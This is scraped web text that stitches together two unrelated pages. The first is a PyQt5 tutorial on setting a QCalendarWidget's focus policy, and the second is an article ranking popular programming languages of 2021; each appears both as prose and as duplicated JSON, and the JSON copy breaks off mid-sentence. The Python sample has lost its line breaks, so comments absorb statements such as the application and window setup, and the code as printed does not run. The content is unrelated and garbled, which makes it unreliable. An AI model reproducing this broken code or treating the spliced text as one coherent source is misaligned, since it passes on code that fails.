09 Feb, 2022 In this article we will see how we can set the focus policy to the QCalendarWidget. This property holds the way the widget accepts keyboard focus, there are many focus policy available for calendar like no focus, strong focus, wheel focus etc. In order to do this we will use setFocusPolicy method with the QCalendarWidget object. Syntax : calendar.setFocusPolicy(Qt.NoFocus) Argument : It takes focus policy as argument Return : It return None Below is the implementation Python3 # importing librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle("Python ") # setting geometry self.setGeometry(100, 100, 650, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for components def UiComponents(self): # creating a QCalendarWidget object self.calender = QCalendarWidget(self) # setting geometry to the calendar self.calender.setGeometry(50, 10, 400, 250) # setting cursor self.calender.setCursor(Qt.PointingHandCursor) # setting focus policy to calendar # as no focus is set keyboard input will not work self.calender.setFocusPolicy(Qt.NoFocus) # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec()) Output : sweetyty Python PyQt-QCalendarWidget Python-gui Python-PyQt Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Read a file line by line in Python Enumerate() in Python How to Install PIP on Windows ? Iterate over a list in Python Different ways to create Pandas Dataframe Python program to convert a list to string Python String | replace() Reading and Writing to text files in Python sum() function in Python Create a Pandas DataFrame from Lists
[ { "code": null, "e": 23877, "s": 23849, "text": "\n09 Feb, 2022" }, { "code": null, "e": 24121, "s": 23877, "text": "In this article we will see how we can set the focus policy to the QCalendarWidget. This property holds the way the widget accepts keyboard focus, there are many focus policy available for calendar like no focus, strong focus, wheel focus etc." }, { "code": null, "e": 24208, "s": 24121, "text": "In order to do this we will use setFocusPolicy method with the QCalendarWidget object." }, { "code": null, "e": 24253, "s": 24208, "text": "Syntax : calendar.setFocusPolicy(Qt.NoFocus)" }, { "code": null, "e": 24298, "s": 24253, "text": "Argument : It takes focus policy as argument" }, { "code": null, "e": 24322, "s": 24298, "text": "Return : It return None" }, { "code": null, "e": 24350, "s": 24322, "text": "Below is the implementation" }, { "code": null, "e": 24358, "s": 24350, "text": "Python3" }, { "code": "# importing librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle(\"Python \") # setting geometry self.setGeometry(100, 100, 650, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for components def UiComponents(self): # creating a QCalendarWidget object self.calender = QCalendarWidget(self) # setting geometry to the calendar self.calender.setGeometry(50, 10, 400, 250) # setting cursor self.calender.setCursor(Qt.PointingHandCursor) # setting focus policy to calendar # as no focus is set keyboard input will not work self.calender.setFocusPolicy(Qt.NoFocus) # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())", "e": 25440, "s": 24358, "text": null }, { "code": null, "e": 25449, "s": 25440, "text": "Output :" }, { "code": null, "e": 25458, "s": 25449, "text": "sweetyty" }, { "code": null, "e": 25486, "s": 25458, "text": "Python PyQt-QCalendarWidget" }, { "code": null, "e": 25497, "s": 25486, "text": "Python-gui" }, { "code": null, "e": 25509, "s": 25497, "text": "Python-PyQt" }, { "code": null, "e": 25516, "s": 25509, "text": "Python" }, { "code": null, "e": 25614, "s": 25516, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25623, "s": 25614, "text": "Comments" }, { "code": null, "e": 25636, "s": 25623, "text": "Old Comments" }, { "code": null, "e": 25671, "s": 25636, "text": "Read a file line by line in Python" }, { "code": null, "e": 25693, "s": 25671, "text": "Enumerate() in Python" }, { "code": null, "e": 25725, "s": 25693, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 25755, "s": 25725, "text": "Iterate over a list in Python" }, { "code": null, "e": 25797, "s": 25755, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 25840, "s": 25797, "text": "Python program to convert a list to string" }, { "code": null, "e": 25866, "s": 25840, "text": "Python String | replace()" }, { "code": null, "e": 25910, "s": 25866, "text": "Reading and Writing to text files in Python" }, { "code": null, "e": 25935, "s": 25910, "text": "sum() function in Python" } ]
The 8 Most Popular Coding Languages of 2021 | by Zulie Rane | Towards Data Science
How can you decide what the most popular coding language is? It’s like trying to pick the most popular ice cream flavor — everyone has a favorite. The truth is that different coders prefer different coding languages for different reasons, and just when you think you can say a single coding language reigns supreme, a new one crops up, or an older one becomes relevant for a new application. The most popular coding language of 2021 will be based on what the coder in question wants to accomplish and what they’ve already learned or done. For experienced coders hoping to increase their salary, the most popular coding language will be different than for programmers who are just starting out and want an entry-level coding job after a coding bootcamp. With so many constantly-shifting languages it’s hard to know where to start, especially as open source languages change all the time, with new packages and frameworks. No matter what your interest or need is, if you want to know what the most popular coding languages will be in 2021, you’ll find them on this list. 1. The most popular coding language for absolute beginners: Python ∘ Why it’s popular for this purpose ∘ The best way to learn Python for beginners2. The most popular coding language for people who don’t want a programming job: R ∘ Why it’s popular for this purpose ∘ The best way to learn R for non-programmers3. The most popular coding language to increase your salary: Perl ∘ Why it’s popular for this purpose ∘ The best way to learn Perl for coders who want a higher salary4. The most popular coding language for mobile app development on iOS: Swift ∘ Why it’s popular for this purpose ∘ The best way to learn Swift for app developers5. The most popular coding language for lateral thinkers: Ruby ∘ Why it’s popular for this purpose ∘ The best way to learn Ruby for lateral thinkers6. The most popular coding language for mobile apps and web development: JavaScript ∘ Why it’s popular for this purpose ∘ The best way to learn JavaScript for web developers7. The most popular coding language to quickly increase your salary: Go. ∘ Why it’s popular for this purpose ∘ The best way to learn Go for coders who want to quickly increase their salary.8. The most popular coding language in 2022: Rust ∘ Why it’s popular for this purpose· The best way to learn the most popular coding language of 2022Final Thoughts No matter what list you check, Python is almost always listed as the most popular coding language for beginners — on Qvault’s post on best programming languages for beginners, GitHub’s ranking, Stack Overflow’s developer survey, and is even the top-most language universities are teaching to computer science majors. It’s not a fast-grower like Rust, it’s not an old institution like JS. But it is an unstoppable juggernaut of a language. It’s been around for 3 decades now and it’s experienced steady growth in use and popularity long enough to make it top just about anyone’s chart. The great thing about Python is that it’s written with the developer experience in mind. In practical terms, this means it reads like English — easy especially for people with no coding background to pick up. It’s also very fast to build a basic prototype of anything, which makes it extremely empowering and rewarding for beginners who can produce functional code with a good tutorial in just a few minutes. Finally, it’s versatile. No matter what your need is — data science, machine learning, web development — you can probably use Python to do it. In summary, its syntax, ease of progression, and versatility makes Python the most popular coding language for absolute beginners. Python’s the most popular coding language for beginners because it comes with a robust support network for brand-new coders. You can begin coding using free tutorials on Python.org which is geared towards beginners. You should also take advantage of the rich and supportive online community of Python users and lovers. Most Pythonistas will remember their own days of learning Python and gladly lend a hand to beginners. Check out the Python subreddit, read and post Python questions on Stack Overflow, and see if you can find a coding buddy on a Discord group or a Slack channel. When I worked as a customer success manager, my job involved absolutely no coding. However, I still found it incredibly beneficial to be able to run analyses in R — looking at retention, churn, amount of communication and more. R is another open-source coding language, less popular than Python but still very active and beloved in the data science community. If you’re looking to get a job in anything that isn’t programming, R is the most popular coding language for this. It’s replacing SQL and SAS which are closed-source, paid languages. As enterprises both want to reduce costs and want to hire people who are able to run analyses no matter if they’re coding in their day job or not, they are turning to R. In their R versus Python tutorial, Datacamp writes that R is used by “statisticians, engineers, and scientists without computer programming skills. It’s popular in academia, finance, pharmaceuticals, media, and marketing.” R is the most popular coding language for people who don’t code in their jobs for a few very valid reasons. First, it’s open-source. Like Python, there’s no need to pay any money. It also has an integrated development editor, RStudio, that makes it even easier to use. It has a robust ecosystem of open source packages that make it very simple for anyone to run statistical analysis in a few lines of code and create a publication-ready graphic in just a few more lines. Especially for folks who don’t have or want a job in programming, I find it’s best to find a project you really care about and set out a specific goal. You don’t have the necessity from your job — you can get away with not knowing how to code, for now anyway. You don’t have any prior experience coding, so the learning curve will be steep. You need something that you’re deeply passionate about. Only that will get you over the frustrating hurdles, knowledge gaps, and user errors that come with every coder’s beginner journey. Perl is one of the most contradictory languages on this list in that it has the highest global salary ($75k median annual salary), but is also the most dreaded language (71.4%), according to Stack Overflow’s survey. But if you want to get a higher salary in your programming job, there is no more popular coding language. It’s known for being the predecessor to the more popular PHP, and also for being a bit of a flaming dumpster heap of a language. The blog Some Dude Says writes in his blog post “Perl in 2020: Is It Still Worth Learning? “ that, “Perl tried to be too much for too many people. Snippets of terrible code floated around and were pulled in without a second thought on many projects. Script kiddie after script kiddie cobbled together their abominations and let them loose on the world. They threw the source online for the world to see for free too. Books were also rife with trash and republished even when they had long since become obsolete,” But despite being hated by many developers, many employers find it a useful coding language both for new projects as well as maintaining existing infrastructure and projects. That’s why it’s still the most popular coding language to increase your salary. Opensource.com lists Amazon, Boeing, BBC and Northrop Grumman among the many big-name employers looking for Perl developers. It’s a popular language for employers. Like R and Python, it’s open-source which means that it’s low-cost and low-risk to use. Many users (for example, on this subreddit) describe it as a language with a wide scope, and limited functions, making it simple and functional. The main reason it’s hated is perhaps a legacy of the factors Some Dude Blogs listed above — a place where the open-source nature let this language down and allowed its good name to be dragged through the mud. However, with the latest releases of Perl that fixes many user experience issues and the upcoming release of Perl 7, it may be experiencing a slow climb in popularity again, especially given its high-demand nature among employers who, despite all its flaws as a programming language, find Perl to be an excellent skill to hire for, which earns it a spot on this list of most popular coding languages. The learn.perl.org website is probably the best place to start learning Perl. Unlike R and Python where many users learn from googling and copy-pasting code chunks, it may be best to stay away from places like Stack Overflow where bad code snippets may still be floating around. Modern Perl is also a relatively recent document that may avoid a lot of out-of-date opinionated tutorials, while the Perl Cookbook stands up as a tried-and-tested resource. R, Python, and Perl were all developed last century. Swift, meanwhile, was developed only in 2014 specifically for the purpose of being an Apple programming language. As the name implies, it has a reputation for being a speedy way to build iOS apps, quickly overtaking Objective-C which was originally built for that purpose. Apple.com itself says Swift is 2.6x faster than Objective-C and 8.4x faster than Python. Even though it’s a young language, it’s the 9th most-loved language on Stack Overflow’s developer survey of 2020. To write an iOS app, there’s no other most popular coding language. Dummies.com writes that “[d]eveloping iOS apps can be the most fun you’ve had in your career in years, with very little investment of time and money (compared with developing for platforms like Windows).” For people who want to code, building apps is a great way to showcase your skills or even earn some money on the side. Compared to Android apps, iOS has a more robust developer program and handles a lot fo the stickier sides of creating and hosting an app on a store. It’s also faster to develop an iOS app compared to Android. For those reasons, Swift is the most popular coding language for those who want to develop mobile apps for iOS. Apple obviously has a vested interest in helping developers learn Swift, so it’s open source. In a rather meta turn of events, Apple has actually developed an app called the Swift Playground, created to help beginner coders learn the basics of Swift, along with several other resources to help users learn. If you’re more advanced at coding or want to go off-piste to learn Swift, After that, the best method is simply to get your feet wet and design your first app using Swift. Ruby is one of the most popular coding languages for startups — it’s a language where there’s more than one way to do things, with a very simple syntax that enables the “move fast and break things” ethos of many startups favored by lateral thinkers. Ruby on Rails, a full-stack web application framework that runs Ruby, is also very popular due to its ease of building a web app in very little time. For many beginner coders, it can feel limiting to work with a language like Python where there’s frequently just one way to do things. Ruby’s simple syntax allows for flexibility in approaches, which is a boon to individuals who are learning a second coding language, or who are more lateral thinkers and enjoy coming at things from alternative angles. This alternative angle puts Ruby on the list of the most popular coding languages in 2021. Because of Ruby’s dynamic nature, there isn’t a single method to learn things. While it’s important that you go into it understanding core coding concepts like variables, data structures and conditional statements, the simplicity of Ruby and Ruby on Rails means that once you’ve grasped the basics, the next step should be trying to build a simple web app of your own. JavaScript is the most popular coding language for the web, responsible for interactive websites. Developed in 1995, it’s used by 95% of websites as the dominant client-side scripting language today. As Node.js was developed, many people began using JavaScript on the server-side, too. Along with CSS and HTML, it’s what builds what you see anytime you hop onto the World Wide Web. According to Stack Overflow’s Developer Survey for 2020, it’s the top-most used language for the eighth year in a row. As long as websites exist, JavaScript will be useful for any coder to learn. For any web developer, it’s obviously a must-have. And even if you don’t want to be a web developer, the ability to build your own website — often used as resumes and portfolios nowadays — is an attractive skill to showcase. For web development and mobile apps, the fact that JavaScript is the most popular coding language is remarkable, given it was created in only ten days as a response to the very first Browser War. It’s such a popular coding language because it’s ubiquitous, but it’s also good to understand why it’s ubiquitous. First, it’s usable for just about any both frontend and backend web development, but there have also been several frameworks developed to take it a step further. For example, JavaScript is also for desktop apps like Slack and Skype, which use Electron.js. Vue.js, Angular.js, and React.js are separate JavaScript web frameworks used to build user interfaces built by ex-Google employee Evan You, Google, and Facebook respectively. It’s also standardized, meaning that updates and releases with new versions frequently come out. No matter where you are in your coding career, this language has something to offer you. If you search “learn JavaScript,” it’s easy to become overwhelmed with the quantity of information, tutorials, and guides. It’s hard to even know which frameworks and libraries you need. That’s why I recommend a hierarchical approach that lets you systematically and consistently progress with learning the most popular coding language for web developers. Some examples include JS: The Right Way, and Qvault’s Basic Intro to Coding. Go was developed at Google, influenced by coding language giant C, but built to avoid the pitfalls of C++, which was universally despised by the developers of Go. The aim was to build a language that was fit for purpose in an era of enormous code bases. It’s now used by several big companies — Google is obviously among them, but Uber, Twitch, and Dropbox also feature in the list. On Stack Overflow’s Developer Survey, it’s 3rd both on the list of most wanted languages (17.9%) as well as the highest median salary worldwide (74k). There are several reasons it’s the most popular coding language for coders who want to quickly increase their salary. First, it’s a language that’s built for big projects. Unlike Ruby, for instance, which is quick to build but hard to scale, Go was intentionally created by Google to help them with truly tremendously-sized projects and tasks faster. It’s intentionally created to reduce time spent reading and debugging code to help make these tasks doable. This makes it an attractive language for many big companies that are aiming to achieve projects on this scale. It’s also reputed to be faster and easier than Perl to learn, which tops the list of highest salaries. Perl comes with several decades of history and opinions to wade through, while Go, created only in 2009, has a smaller and more modern syntax. Unlike many coding languages with bloated vocabularies, Go is small enough to “fit in your head,” to paraphrase Samuel Jones, a data engineer who wrote up a review of Go after using it to build an API. This reduces time searching for answers and syntax online and in reference books. It’s also possible to learn it just by reading, since the syntax is clear enough that non-Goers and even non-coders can look at it and understand what’s happening. As a language built by Google for the internet, you can imagine there are several free web-based resources that can help you on your way to learn. First, several sources recommended checking out A Tour of Go where you learn to use Go. It’s interactive and you run your own code snippets on the website itself. It’s divided into modules, which makes it easy to keep track of where you are and reference back if necessary. Once you’ve grasped the basics, some other great resources include Go By Example and Go Mastery, where you’ll learn to find examples of code for typical or common tasks. Rust is the most-loved language for the fifth year running and is the fifth-most wanted language (14.6%) according to the 2020 Stack Overflow’s Developer Survey. So why is it not top of the list despite being objective the most popular coding language of all? Because according to the very same survey, 97% of those survey respondents had never used Rust. It also has an uncertain future. Mozilla sponsored the development of Rust in 2009 and announced it in 2010. It is viewed as an alternative to other systems programming languages, like C or C++, built to “be a language for highly concurrent and highly safe systems” according to its Wikipedia page. What this means for developers is that they can write safe code quickly and efficiently. However, due to Covid, Mozilla laid off a large part of their Rust team to focus on commercial products. While they’ve announced that there will be a foundation created to take ownership of the future and costs of Rust, it’s unsure yet how that will shape up. Assuming Rust is able to overcome current difficulties, I expect it will become more popular year-on-year. It has a dedicated fan base of current developers, with a growing chunk of coders interested in learning it. While it may not be top of the list in 2021, I believe it may be the most popular coding language of 2022 or beyond. Many coders compare it favorably to C++ in terms of ease of learning. The priority on safe code can be frustrating for many coders who type in code only to get annoying error messages, but this may be a shift away from the “move fast and break things” mentality and moving more towards a safer, more structurally sound codebase. It has applications for both long-standing necessities of development as well as more futuristic endeavors. Mozilla’s page on it describes the applications as ranging from, “game engines, operating systems, file systems, browser components and simulation engines for virtual reality.” For these reasons, Rust may be the most popular coding language of the future. Because Rust is so focused around safety and structure, developers have spent a lot of time and resources ensuring error messages are user friendly, unlike many other coding languages. This makes it especially rewarding for beginners to learn, as when they make a mistake, it’s easy to correct. The Rust website offers three paths to try — reading from what’s known as “ The Book,” trying out the Rustlings Course with small projects to help get you up and running, and Rust By Example, which illustrates the concepts and libraries that underpin Rust. All these resources are free. As one Redditor points out, it’s a relatively new language in that many of the answers to questions you’ll have, haven’t yet been posted and answered on places like Stack Overflow. For this reason, they recommend joining the Discord channel as a way to gain mentorship and a supportive community to learn Rust. There are plenty of languages to choose from, and as you’ve seen from this list, many are recent. While some are objectively better than others for specific tasks, most serve a good purpose for someone. If you want to learn the most popular coding language of 2021, you first have to decide what you want from learning a coding language. It’s always good to stay on top of trends and make sure you’re at the top of your coding game, no matter where you sit. More than 70% of developers at all levels of professionalism learn a new coding skill at least once a year. Why not start 2021 right and prioritize your future skill set with one of these most popular coding languages of 2021? This list will help you choose the one(s) you can start with.
[ { "code": null, "e": 563, "s": 171, "text": "How can you decide what the most popular coding language is? It’s like trying to pick the most popular ice cream flavor — everyone has a favorite. The truth is that different coders prefer different coding languages for different reasons, and just when you think you can say a single coding language reigns supreme, a new one crops up, or an older one becomes relevant for a new application." }, { "code": null, "e": 924, "s": 563, "text": "The most popular coding language of 2021 will be based on what the coder in question wants to accomplish and what they’ve already learned or done. For experienced coders hoping to increase their salary, the most popular coding language will be different than for programmers who are just starting out and want an entry-level coding job after a coding bootcamp." }, { "code": null, "e": 1240, "s": 924, "text": "With so many constantly-shifting languages it’s hard to know where to start, especially as open source languages change all the time, with new packages and frameworks. No matter what your interest or need is, if you want to know what the most popular coding languages will be in 2021, you’ll find them on this list." }, { "code": null, "e": 2567, "s": 1240, "text": "1. The most popular coding language for absolute beginners: Python ∘ Why it’s popular for this purpose ∘ The best way to learn Python for beginners2. The most popular coding language for people who don’t want a programming job: R ∘ Why it’s popular for this purpose ∘ The best way to learn R for non-programmers3. The most popular coding language to increase your salary: Perl ∘ Why it’s popular for this purpose ∘ The best way to learn Perl for coders who want a higher salary4. The most popular coding language for mobile app development on iOS: Swift ∘ Why it’s popular for this purpose ∘ The best way to learn Swift for app developers5. The most popular coding language for lateral thinkers: Ruby ∘ Why it’s popular for this purpose ∘ The best way to learn Ruby for lateral thinkers6. The most popular coding language for mobile apps and web development: JavaScript ∘ Why it’s popular for this purpose ∘ The best way to learn JavaScript for web developers7. The most popular coding language to quickly increase your salary: Go. ∘ Why it’s popular for this purpose ∘ The best way to learn Go for coders who want to quickly increase their salary.8. The most popular coding language in 2022: Rust ∘ Why it’s popular for this purpose· The best way to learn the most popular coding language of 2022Final Thoughts" }, { "code": null, "e": 2884, "s": 2567, "text": "No matter what list you check, Python is almost always listed as the most popular coding language for beginners — on Qvault’s post on best programming languages for beginners, GitHub’s ranking, Stack Overflow’s developer survey, and is even the top-most language universities are teaching to computer science majors." }, { "code": null, "e": 3152, "s": 2884, "text": "It’s not a fast-grower like Rust, it’s not an old institution like JS. But it is an unstoppable juggernaut of a language. It’s been around for 3 decades now and it’s experienced steady growth in use and popularity long enough to make it top just about anyone’s chart." }, { "code": null, "e": 3704, "s": 3152, "text": "The great thing about Python is that it’s written with the developer experience in mind. In practical terms, this means it reads like English — easy especially for people with no coding background to pick up. It’s also very fast to build a basic prototype of anything, which makes it extremely empowering and rewarding for beginners who can produce functional code with a good tutorial in just a few minutes. Finally, it’s versatile. No matter what your need is — data science, machine learning, web development — you can probably use Python to do it." }, { "code": null, "e": 3835, "s": 3704, "text": "In summary, its syntax, ease of progression, and versatility makes Python the most popular coding language for absolute beginners." }, { "code": null, "e": 4051, "s": 3835, "text": "Python’s the most popular coding language for beginners because it comes with a robust support network for brand-new coders. You can begin coding using free tutorials on Python.org which is geared towards beginners." }, { "code": null, "e": 4416, "s": 4051, "text": "You should also take advantage of the rich and supportive online community of Python users and lovers. Most Pythonistas will remember their own days of learning Python and gladly lend a hand to beginners. Check out the Python subreddit, read and post Python questions on Stack Overflow, and see if you can find a coding buddy on a Discord group or a Slack channel." }, { "code": null, "e": 4776, "s": 4416, "text": "When I worked as a customer success manager, my job involved absolutely no coding. However, I still found it incredibly beneficial to be able to run analyses in R — looking at retention, churn, amount of communication and more. R is another open-source coding language, less popular than Python but still very active and beloved in the data science community." }, { "code": null, "e": 5129, "s": 4776, "text": "If you’re looking to get a job in anything that isn’t programming, R is the most popular coding language for this. It’s replacing SQL and SAS which are closed-source, paid languages. As enterprises both want to reduce costs and want to hire people who are able to run analyses no matter if they’re coding in their day job or not, they are turning to R." }, { "code": null, "e": 5352, "s": 5129, "text": "In their R versus Python tutorial, Datacamp writes that R is used by “statisticians, engineers, and scientists without computer programming skills. It’s popular in academia, finance, pharmaceuticals, media, and marketing.”" }, { "code": null, "e": 5823, "s": 5352, "text": "R is the most popular coding language for people who don’t code in their jobs for a few very valid reasons. First, it’s open-source. Like Python, there’s no need to pay any money. It also has an integrated development editor, RStudio, that makes it even easier to use. It has a robust ecosystem of open source packages that make it very simple for anyone to run statistical analysis in a few lines of code and create a publication-ready graphic in just a few more lines." }, { "code": null, "e": 6352, "s": 5823, "text": "Especially for folks who don’t have or want a job in programming, I find it’s best to find a project you really care about and set out a specific goal. You don’t have the necessity from your job — you can get away with not knowing how to code, for now anyway. You don’t have any prior experience coding, so the learning curve will be steep. You need something that you’re deeply passionate about. Only that will get you over the frustrating hurdles, knowledge gaps, and user errors that come with every coder’s beginner journey." }, { "code": null, "e": 6803, "s": 6352, "text": "Perl is one of the most contradictory languages on this list in that it has the highest global salary ($75k median annual salary), but is also the most dreaded language (71.4%), according to Stack Overflow’s survey. But if you want to get a higher salary in your programming job, there is no more popular coding language. It’s known for being the predecessor to the more popular PHP, and also for being a bit of a flaming dumpster heap of a language." }, { "code": null, "e": 7316, "s": 6803, "text": "The blog Some Dude Says writes in his blog post “Perl in 2020: Is It Still Worth Learning? “ that, “Perl tried to be too much for too many people. Snippets of terrible code floated around and were pulled in without a second thought on many projects. Script kiddie after script kiddie cobbled together their abominations and let them loose on the world. They threw the source online for the world to see for free too. Books were also rife with trash and republished even when they had long since become obsolete,”" }, { "code": null, "e": 7571, "s": 7316, "text": "But despite being hated by many developers, many employers find it a useful coding language both for new projects as well as maintaining existing infrastructure and projects. That’s why it’s still the most popular coding language to increase your salary." }, { "code": null, "e": 7968, "s": 7571, "text": "Opensource.com lists Amazon, Boeing, BBC and Northrop Grumman among the many big-name employers looking for Perl developers. It’s a popular language for employers. Like R and Python, it’s open-source which means that it’s low-cost and low-risk to use. Many users (for example, on this subreddit) describe it as a language with a wide scope, and limited functions, making it simple and functional." }, { "code": null, "e": 8178, "s": 7968, "text": "The main reason it’s hated is perhaps a legacy of the factors Some Dude Blogs listed above — a place where the open-source nature let this language down and allowed its good name to be dragged through the mud." }, { "code": null, "e": 8579, "s": 8178, "text": "However, with the latest releases of Perl that fixes many user experience issues and the upcoming release of Perl 7, it may be experiencing a slow climb in popularity again, especially given its high-demand nature among employers who, despite all its flaws as a programming language, find Perl to be an excellent skill to hire for, which earns it a spot on this list of most popular coding languages." }, { "code": null, "e": 9032, "s": 8579, "text": "The learn.perl.org website is probably the best place to start learning Perl. Unlike R and Python where many users learn from googling and copy-pasting code chunks, it may be best to stay away from places like Stack Overflow where bad code snippets may still be floating around. Modern Perl is also a relatively recent document that may avoid a lot of out-of-date opinionated tutorials, while the Perl Cookbook stands up as a tried-and-tested resource." }, { "code": null, "e": 9629, "s": 9032, "text": "R, Python, and Perl were all developed last century. Swift, meanwhile, was developed only in 2014 specifically for the purpose of being an Apple programming language. As the name implies, it has a reputation for being a speedy way to build iOS apps, quickly overtaking Objective-C which was originally built for that purpose. Apple.com itself says Swift is 2.6x faster than Objective-C and 8.4x faster than Python. Even though it’s a young language, it’s the 9th most-loved language on Stack Overflow’s developer survey of 2020. To write an iOS app, there’s no other most popular coding language." }, { "code": null, "e": 9953, "s": 9629, "text": "Dummies.com writes that “[d]eveloping iOS apps can be the most fun you’ve had in your career in years, with very little investment of time and money (compared with developing for platforms like Windows).” For people who want to code, building apps is a great way to showcase your skills or even earn some money on the side." }, { "code": null, "e": 10162, "s": 9953, "text": "Compared to Android apps, iOS has a more robust developer program and handles a lot fo the stickier sides of creating and hosting an app on a store. It’s also faster to develop an iOS app compared to Android." }, { "code": null, "e": 10274, "s": 10162, "text": "For those reasons, Swift is the most popular coding language for those who want to develop mobile apps for iOS." }, { "code": null, "e": 10655, "s": 10274, "text": "Apple obviously has a vested interest in helping developers learn Swift, so it’s open source. In a rather meta turn of events, Apple has actually developed an app called the Swift Playground, created to help beginner coders learn the basics of Swift, along with several other resources to help users learn. If you’re more advanced at coding or want to go off-piste to learn Swift," }, { "code": null, "e": 10753, "s": 10655, "text": "After that, the best method is simply to get your feet wet and design your first app using Swift." }, { "code": null, "e": 11003, "s": 10753, "text": "Ruby is one of the most popular coding languages for startups — it’s a language where there’s more than one way to do things, with a very simple syntax that enables the “move fast and break things” ethos of many startups favored by lateral thinkers." }, { "code": null, "e": 11153, "s": 11003, "text": "Ruby on Rails, a full-stack web application framework that runs Ruby, is also very popular due to its ease of building a web app in very little time." }, { "code": null, "e": 11597, "s": 11153, "text": "For many beginner coders, it can feel limiting to work with a language like Python where there’s frequently just one way to do things. Ruby’s simple syntax allows for flexibility in approaches, which is a boon to individuals who are learning a second coding language, or who are more lateral thinkers and enjoy coming at things from alternative angles. This alternative angle puts Ruby on the list of the most popular coding languages in 2021." }, { "code": null, "e": 11966, "s": 11597, "text": "Because of Ruby’s dynamic nature, there isn’t a single method to learn things. While it’s important that you go into it understanding core coding concepts like variables, data structures and conditional statements, the simplicity of Ruby and Ruby on Rails means that once you’ve grasped the basics, the next step should be trying to build a simple web app of your own." }, { "code": null, "e": 12348, "s": 11966, "text": "JavaScript is the most popular coding language for the web, responsible for interactive websites. Developed in 1995, it’s used by 95% of websites as the dominant client-side scripting language today. As Node.js was developed, many people began using JavaScript on the server-side, too. Along with CSS and HTML, it’s what builds what you see anytime you hop onto the World Wide Web." }, { "code": null, "e": 12769, "s": 12348, "text": "According to Stack Overflow’s Developer Survey for 2020, it’s the top-most used language for the eighth year in a row. As long as websites exist, JavaScript will be useful for any coder to learn. For any web developer, it’s obviously a must-have. And even if you don’t want to be a web developer, the ability to build your own website — often used as resumes and portfolios nowadays — is an attractive skill to showcase." }, { "code": null, "e": 12965, "s": 12769, "text": "For web development and mobile apps, the fact that JavaScript is the most popular coding language is remarkable, given it was created in only ten days as a response to the very first Browser War." }, { "code": null, "e": 13511, "s": 12965, "text": "It’s such a popular coding language because it’s ubiquitous, but it’s also good to understand why it’s ubiquitous. First, it’s usable for just about any both frontend and backend web development, but there have also been several frameworks developed to take it a step further. For example, JavaScript is also for desktop apps like Slack and Skype, which use Electron.js. Vue.js, Angular.js, and React.js are separate JavaScript web frameworks used to build user interfaces built by ex-Google employee Evan You, Google, and Facebook respectively." }, { "code": null, "e": 13697, "s": 13511, "text": "It’s also standardized, meaning that updates and releases with new versions frequently come out. No matter where you are in your coding career, this language has something to offer you." }, { "code": null, "e": 14130, "s": 13697, "text": "If you search “learn JavaScript,” it’s easy to become overwhelmed with the quantity of information, tutorials, and guides. It’s hard to even know which frameworks and libraries you need. That’s why I recommend a hierarchical approach that lets you systematically and consistently progress with learning the most popular coding language for web developers. Some examples include JS: The Right Way, and Qvault’s Basic Intro to Coding." }, { "code": null, "e": 14513, "s": 14130, "text": "Go was developed at Google, influenced by coding language giant C, but built to avoid the pitfalls of C++, which was universally despised by the developers of Go. The aim was to build a language that was fit for purpose in an era of enormous code bases. It’s now used by several big companies — Google is obviously among them, but Uber, Twitch, and Dropbox also feature in the list." }, { "code": null, "e": 14664, "s": 14513, "text": "On Stack Overflow’s Developer Survey, it’s 3rd both on the list of most wanted languages (17.9%) as well as the highest median salary worldwide (74k)." }, { "code": null, "e": 15234, "s": 14664, "text": "There are several reasons it’s the most popular coding language for coders who want to quickly increase their salary. First, it’s a language that’s built for big projects. Unlike Ruby, for instance, which is quick to build but hard to scale, Go was intentionally created by Google to help them with truly tremendously-sized projects and tasks faster. It’s intentionally created to reduce time spent reading and debugging code to help make these tasks doable. This makes it an attractive language for many big companies that are aiming to achieve projects on this scale." }, { "code": null, "e": 15764, "s": 15234, "text": "It’s also reputed to be faster and easier than Perl to learn, which tops the list of highest salaries. Perl comes with several decades of history and opinions to wade through, while Go, created only in 2009, has a smaller and more modern syntax. Unlike many coding languages with bloated vocabularies, Go is small enough to “fit in your head,” to paraphrase Samuel Jones, a data engineer who wrote up a review of Go after using it to build an API. This reduces time searching for answers and syntax online and in reference books." }, { "code": null, "e": 15928, "s": 15764, "text": "It’s also possible to learn it just by reading, since the syntax is clear enough that non-Goers and even non-coders can look at it and understand what’s happening." }, { "code": null, "e": 16349, "s": 15928, "text": "As a language built by Google for the internet, you can imagine there are several free web-based resources that can help you on your way to learn. First, several sources recommended checking out A Tour of Go where you learn to use Go. It’s interactive and you run your own code snippets on the website itself. It’s divided into modules, which makes it easy to keep track of where you are and reference back if necessary." }, { "code": null, "e": 16519, "s": 16349, "text": "Once you’ve grasped the basics, some other great resources include Go By Example and Go Mastery, where you’ll learn to find examples of code for typical or common tasks." }, { "code": null, "e": 16908, "s": 16519, "text": "Rust is the most-loved language for the fifth year running and is the fifth-most wanted language (14.6%) according to the 2020 Stack Overflow’s Developer Survey. So why is it not top of the list despite being objective the most popular coding language of all? Because according to the very same survey, 97% of those survey respondents had never used Rust. It also has an uncertain future." }, { "code": null, "e": 17263, "s": 16908, "text": "Mozilla sponsored the development of Rust in 2009 and announced it in 2010. It is viewed as an alternative to other systems programming languages, like C or C++, built to “be a language for highly concurrent and highly safe systems” according to its Wikipedia page. What this means for developers is that they can write safe code quickly and efficiently." }, { "code": null, "e": 17523, "s": 17263, "text": "However, due to Covid, Mozilla laid off a large part of their Rust team to focus on commercial products. While they’ve announced that there will be a foundation created to take ownership of the future and costs of Rust, it’s unsure yet how that will shape up." }, { "code": null, "e": 17856, "s": 17523, "text": "Assuming Rust is able to overcome current difficulties, I expect it will become more popular year-on-year. It has a dedicated fan base of current developers, with a growing chunk of coders 